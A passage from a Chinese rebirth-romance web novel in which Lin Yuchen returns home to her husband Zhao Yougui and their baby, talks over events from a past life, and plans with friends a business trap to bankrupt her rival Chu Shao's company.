“难怪。我本来想着死前拉他垫背,没想住院治疗,却被爸妈莫名奇妙发现病情,被迫住了院。当时,我怀疑是司机告诉他们,怎么都不想到是你在背后说了。”林语晨轻笑,“那次之后,你为什么没来医院找我合作?”
“我派了属下过去找你合作。”赵有归迟疑了下,还是轻轻点头:“我也去过。”
那时候,赵有归感到惋惜,有种说不清的错失感,以及来迟的抱歉自责感。他理不清这份情绪,就专注于调查黑势力团伙,派属下与医院里的林语晨沟通。
“我记得那人,跟他说,可以找林菲儿合作。”林语晨嘲讽地笑了声,“楚邵在外面的把柄大部分在林菲儿处。可惜,林菲儿要得太多、管得太宽,让楚邵还是有了四五六……所以,林菲儿也恨楚邵。你们找她合作,肯定会法外容情。我许她好处。双管齐下,以林菲儿的为人,不论为孩子还是为她自己的将来考虑,都会答应合作的要求。”
“没错。你的安排很好。”赵有归想起前世的林语晨,忍不住长叹一声,“你若是男子,哪还有楚邵什么事。”
林语晨听笑了:“可惜,我不是呢。”靠在赵有归的肩头,紧紧地挽住他的手臂,“临死前,与我说话的人是你吧?告诉我楚邵出车祸,与林菲儿一起死了。”
“嗯。”赵有归送林语晨最后一程,案子没办完,自己也遭遇枪杀。他知道是王织信或者老省长派人干的。
今世,他也曾想着找两人报仇,但是,今世的轨迹已经大不相同。
王织信下马坐牢。谭省今年已经正式退休、不再理事。于谭省说前世,已无必要。
“我不明白林菲儿明明答应同我们合作,为什么还要跟着楚邵逃跑?又与他死在车祸途中。”
这是赵有归一直以来的疑问,从前不理解林菲儿的举动,现在有了林语晨,认清内心的感情,好似有些读懂林菲儿的行为。
“因为林菲儿真得爱楚邵。”林语晨替他回答,又呵了声,“她放弃我给的利益,也要跟楚邵一起离开,想来是真爱。”
赵有归也觉得是这样,轻轻地点头,揽紧林语晨。
如果林菲儿真爱楚邵,那楚邵爱谁?他屡次来找林语晨复合,真爱语晨吗?
——即使他真爱,也不配得到林语晨的爱。
何况,今生,我即使返乡,再也不放手。
“你的案子办得怎么样?”林语晨想起两个人,“我可以告诉你,单剑雄、赵楠天是关键人物,如果你遇上他们,要特别注意。”
“单剑雄很快会被苏市抓捕。赵楠天已经入了灵市官场,被宋景、老钱他们特别关注。语晨,你放心,前世的案子延续到今世,市局不会放过他们任何一个。”赵有归铿锵有力道。
93. 家宴席
电车打铃,林语晨和赵有归一起下公交车。
这次,赵有归没有选择单位大院,而是住分配的独栋两层小楼。
在分配选房时,他没像前世一样相让,今世他要结婚,又有父母,已经提前计划语晨回来后一家几口住一块的情况。
灵市和海市相比,灵市是赵有归的家乡,海市是赵有归前世的根基,今世的崛起地。
灵市在晨芳国际的带动下走在全国第二线。海市在今年被特批为改开城市,发展的步伐正在加快。
赵有归作为经贸人员,参照深市、灵市的发展经验,在海市的发展过程中发挥重要地促进作用。
“这就是我们的家。”赵有归带她进还亮着灯的家门,“爸妈,我们回来了。”
林语晨看向沙发上蹦起来的父母,冲过去抱住林兰香:“妈……”
“你这孩子……有归说去接你,你却跑出去玩。你都是母亲、妻子,怎么还这么任性?”林兰香看不见女儿想念她,看见后心宽又想念叨她。
林语晨望向含笑的赵有归,跟着林兰香的话点头:“是,我错了,妈。爸,你们都还好吧?小鱼儿呢?”
“我们都好,就是半个多月来接不到你的电话,想你。小鱼儿睡了。她的觉好着呢。”林大宝知道这半个多月的事不简单,见母女两人上楼看娃,示意赵有归去阳台,“有归……”
“爸,语晨没什么事,受点伤。另外,头发剃了,过两天长出来就好。”
“剃头发?你老实跟我说清楚。”林大宝还不知道女儿么。自她生下来,阿香就给女儿扎辫子养头发。晨晨也宝贝这长发呢。
“你记得楚邵吗?他对语晨没死心,跑美去找她,利用催眠大师,试图让语晨忘记我和孩子。”听着林大宝低声骂人,接着说,“他低估语晨,语晨本身就是心理师,有抗拒催眠的能力。虽说经历些周折,但人总算平安回来。”
简单解释完,赵有归提醒,“妈不知道这件事,回来的路上我同语晨说了,咱们别告诉她,免得让她再担心。”
“我明白,你们都是好孩子。有归,这次辛苦你。晨晨平安回来,咱们一家团聚就好。你去看看小鱼儿吧。她在睡着前还一直溜着眼睛找你。”
赵有归不由绽笑:“好,爸,你也早点休息。”
楼上,林兰香看着把孩子吵醒的女儿,急着说:“你看看就好,弄醒她干嘛。大晚上不让她睡觉,吵醒邻居怎么办?”
“妈,邻居远着呢。我想她嘛,想让她喊我一声。”林语晨逗弄哭唧唧的女儿,又向妈妈撒着娇。
林兰香又暖心又嫌弃:“她才三个月呢,怎么喊你?跟你爸似,总想让小鱼儿叫人。”
她见赵有归过来,就说:“有归来了。你看看他怎么哄小鱼儿。”
林语晨一脸疑惑:“你这是我亲妈吗?他能比我会哄?”
赵有归从她怀里接过小鱼儿,下意识摸在尿片,干爽着呢。
他拍着小鱼儿的小屁屁哄两声,娃还真不哭。
“妈,你先去……”
林兰香赶紧接上:“平日晚上都是你带娃。现在她回来,先让她享一晚的福,倒下时差。明天我就把小鱼儿给她带,今晚先给我吧。”
赵有归心想也是,语晨的身体要紧,带娃睡觉肯定不安稳。
“那麻烦妈了。”
林兰香不轻不重地睨向一脸无辜的女儿:“麻烦啥啊,你比她像个做爸的。”说着抱上小鱼儿回自己的房间。
林语晨嘀咕:“我是妈妈,怎么做爸爸?”
赵有归轻轻地关上房门,回神看脱羽绒服的妻子,大步上前,从后抱住她。
这一刻,两人什么话都没说,只紧紧地抱着,他感受失而复得的满足,她感受他的温度和包容。
赵有归松了劲,林语晨转过身拢进他的怀里,呢喃:“小鱼儿都不认识我了。”
赵有归莞尔,老夫老妻的感觉爬上来。
“过几天她就只黏你了。累吗?”
“嗯。我想洗澡。”
“好。我帮你准备衣服。”赵有归暗吸口气,轻而不舍地放开她。
林语晨等他走开,坐在梳妆台前一把扯下假发,死死地看向镜子里的刺毛头。等赵有归走来时,又赶紧戴回去。
赵有归察觉她的尴尬,放好东西后走来搭上她的肩头,盯着镜子里脖子处的伤疤痕迹:“语晨,你在想什么?”
林语晨的眸光里滑过一阵狠厉:“我想回灵市。”
“你想找他报仇?”赵有归敏锐道。
林语晨顿了顿:“我头发没了,不想这个样子出现在你面前。”
这次楚邵给得这一击真狠。不讨回来,就不是林语晨。
她垂敛眸子,收敛眸光里的恨意:“而且,我想见见宝黛姐和芳芳。”
“语晨……”赵有归想阻止她,“过完年再回灵市好吗?”
林语晨侧过身,让他坐在床头:“你老实告诉我,沈妈妈的过世是不是与他有关?”
赵有归张口无语,又听林语晨说:
“你别想找借口混过去。”
赵有归蹙眉:“是有一点关系。但目前还没有直接证据证明是他让人动的手。”
“如果我让他亲口承认呢?”林语晨的眸光里露出丝神采,被赵有归一下敲在脑门,“你干吗?我很认真在跟你谈事。”
赵有归戳破她的动机:“你想回灵市找他报仇,前提是我必须确保你的人身安全。若是你像这次一样,远在重洋,我鞭长莫及,赶不上救你。”
“我会提防,不会再上当。在灵市,他没有人脉、手段。”
“未必。”赵有归已经弄清楚她出事的全过程,“陆知云把那边的记录都调给我。你是在学校出事,这根本不是提防的问题,而是防不胜防。”
不想再提这个男人。赵有归揉在眉间,“你先去洗澡,好好睡一觉吧。咱们明天再说这些事。”
林语晨知道他要施展拖字诀,也放弃跟他争论,跑去洗澡。
片刻后,点亮一盏台灯的幽暗卧室里,林语晨偷摸滑上床,刚拉灯就被赵有归捞过去环抱。
“有归哥……”
“睡吧。”赵有归低声说。
林语晨在飞机上一觉睡到海市,下机后差点同禾凉梦吵起来。
之前她看到赵有归眼底的黑眼圈,听林妈说他晚上带小鱼儿,知道他很累。
尽管她睡不着,也逼自己不想报仇的事,慢慢睡过了。
然而,等林语晨睡着。赵有归却醒过来,轻手轻脚去书房,连夜拨打灵市那边的电话。等事情安排妥当,他才返回房间,陪着林语晨入睡。
翌日,临近中午,林语晨在家哄着林悦喝奶粉。
林信华、林宝黛、禾凉梦、淳于芳等人一起上家里来。
他们今早赶车来海市,同林信华汇合。
林兰香和林大宝邀请大家坐,倒完茶后就去忙活做饭。
禾凉梦好奇小孩子,接过小鱼儿抱在怀。
林信华跟着她逗孩子,悄咪咪说:“梦梦,等回京市,咱们也生一个吧?”
禾凉梦抱着孩子给他一肘击。
淳于芳紧紧地抱住林语晨,咬牙切齿说:“语晨,这个仇我们一定讨回来。”
林宝黛轻笑:“可用不着你出手。人老公能量大着呢。语晨,耿昊昨晚下的飞机,一下机就被灵市市局抓了。昨晚我赶去嘲讽他,回击他在美机场挑衅我们那回。”
又恰好接赵有归的电话,大清早拉淳于芳赶来海市。
这男人,真心疼老婆。
林语晨震惊地放开淳于芳:“真的?市局拿什么理由抓他?我在境外出事,还没报过警啊。有归做了什么?楚邵呢?”
林宝黛自然就坐:“这就几要问你家赵厅长。他人呢?不会雷打不动去上班啦?”
淳于芳拉过林语晨,赶紧说:“楚邵没被抓,转身就想办法捞耿昊。但是,耿昊涉及多起违法私拍事件,一时半会不能出来。赵厅长是要切楚邵的左右臂膀吧。”
林语晨握下拳:“他没跟我说。”
林宝黛又说:“他在美错过你搭乘的班机,要求人家机场把飞机开回来。呵。回灵市后,他就开始布局搞楚氏。按我掌握的线索看,他应该很早就布了眼线。又因为怕姓楚的一伙人察觉到不对劲而对你不利,直接返回海市坐镇。
他联系常山大使,请我告知禾凉梦,让信华帮忙接应你。”
林信华插进来说:“本来我是要直接去马耳他。不过,常山大使说你的情况特殊,那边他们能搞定,就让我在京接机。”
禾凉梦点头:“因为担心出意外事件,就对外一直说送你回灵市。实则,我们虚晃一枪,送你来海市。”
这才有昨晚机场闹别扭的事。
林语晨确实没想到这里面弯弯绕绕涉及这么多人。
“灵市是没有证据抓捕楚邵吗?”目光落在淳于芳处。
淳于芳:“四季大厦的问题不大。一些工程投机处,一经查实后被下达整改调令。建改处的赵楠天应该是楚邵的人,由他在那边拉拔,目前还没有更有力的证据抓他。”
林语晨坐在宝黛身边,四目交接,宝黛端起茶喝口,慢条斯理问:“你想怎么做?”
“他是商人。我们用商场的规则,给他设个局。”林语晨的血在沸腾,前世利用调查
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组扳倒楚邵,这一世她要亲自来。
她朝兴致勃勃的淳于芳说,“早前,我们设想过家乡改建计划。你还记得吗?”
淳于芳点头:“但是,我们现有的资金不足。而且,你想让他入套,以现在的情形,他不会随便动吧?”
林语晨的目光落在林信华处。
林信华看眼小姑,见她点头,笑嘻嘻:“你可以算上我和安国的快餐连锁店资金。不过,店铺资金流动快,未必能满足你们的大计划,但是加上我爸林中华的投资,应该足够吧?”
林语晨拍掌:“多谢你们。另外,我需要一张生面孔出现在灵市。凉梦,可以用你的名字注册建筑公司吗?”
禾凉梦不懂她们的商战计划,抱着孩子:“你让我做她干妈,我什么都答应你。”
众人笑起来,都试着逗弄下小鱼儿。
林语晨试图挽救这不可能的要求:“小鱼儿有干妈啦。不然,你等我想二胎的时候候着?”又问芳芳,“茉莉呢?她是我孩子干妈,回头介绍她给凉梦认识。”
禾凉梦叹了声:“算了吧。我答应你。信华在,我不怕你拿我名字干坏事。”
林信华笑了声,刮在她的鼻头:“咱不要人家的孩子,咱们自己生一个玩。”
禾凉梦:“美得你。”
那边小夫妻打情骂俏,这边淳于芳替茉莉解释:“她接个国内的剧本,在宁市海边拍武打戏,吊威亚的时候树枝断了,人摔下来。
你放心,不怎么严重。只是伤筋动骨一百天,她被困在医院,硬躺着休息。”
林语晨觉得她的话怪怪:“真没问题吗?过两天我去看她。有人照顾她吗?”
淳于芳的表情更复杂,点头说:“有啊。你我还认识那人呢。”
“?”林语晨恍然,“赵晓鹤?”
“嗯嗯。”淳于芳笑了下,“兜兜转转,她还是落人家手里去了。”
林语晨不再说这事,又同几人商量具体的商事安排。
林兰香夫妻做好饭菜,请大家一起入席吃饭。
这时候,赵有归赶回来。
他知道家里来客人,又都是语晨的亲朋好友,得过来见见人招呼一下。
家宴席上,赵有归举杯敬这群好友:“这次语晨回来,多谢你们照顾。请大家在海市多留两天,让我和语晨好好招待你们。”
众人同他走一个。淳于芳同赵有归熟,但最拘禁,总有种面对人生老师的感觉。
林信华和禾凉梦顾忌他的身份,都挺客气。
林宝黛最不怕他,提点说:“这次你确实要感谢我们,一下子动用语晨这么多人。来,我们也敬你一杯,回头咱们在外有个什么,请赵先生坐镇中宫,拉我们一把啊。”
赵有归笑笑,与她碰一杯,成了这个情。
他来得快,走得也快,让大家玩,先回去上班。
林语晨赶出来送他,在院子里问:“她们说你早就在灵市布局,是不是离开市局那次?”
赵有归揉了下她的脸颊:“语晨,好好招呼她们。等我回来。”
林语晨目送他离开,不免叹口气:人的性格在人性里占很大一部分。赵有归说好夫妻间不再有隐瞒,却还是会回避很多问题。
“我就当是你工作上的事不方便说。所以,你也不能阻止我。”
林宝黛杵在门口笑了声:“你是打算安心做赵太太了?”
林语晨睨去:“怎么可能?灵市是我们晨芳国际的大本营。无论如何,我才不会把地方让给他们。”
“好。姐陪你玩这局。”林宝黛欣赏地看去,让她挽在手臂,回客厅。
赵有归在车前回头望,看着语晨同林宝黛有说有笑进门,就知道阻止不了她们合纵连横。
既然这样,不能明着帮,那就让钱育才多给她们放些消息。
饭后,林语晨和朋友们又聊一下午,制定好计划后通知远在灵市的师娘李丽珍做准备。
李丽珍在灵市的人脉最广,接到林语晨的消息后打电话放消息出去。省政楼计划扩建灵江上游两岸的公路案,为未来两岸的新农村建设做提前规划。
如果全国谁接到这个工程,就可以搭上灵市的政建关系。这辈子不愁没工程可做。
林语晨知道赵楠天现在的职位,若由他确认这个消息,楚邵就一定会入壶投标。
投了标,入了套。禾凉梦的建筑公司入股,可以在合作过程中吸干楚氏现有的流动资金,让在建的四季大厦成为一个烂尾工程。
开发商不怕没地方建楼,最怕断资金链。
城建商不怕断资金链,最怕供应商不赊欠。
林语晨就是要让楚氏全面负债!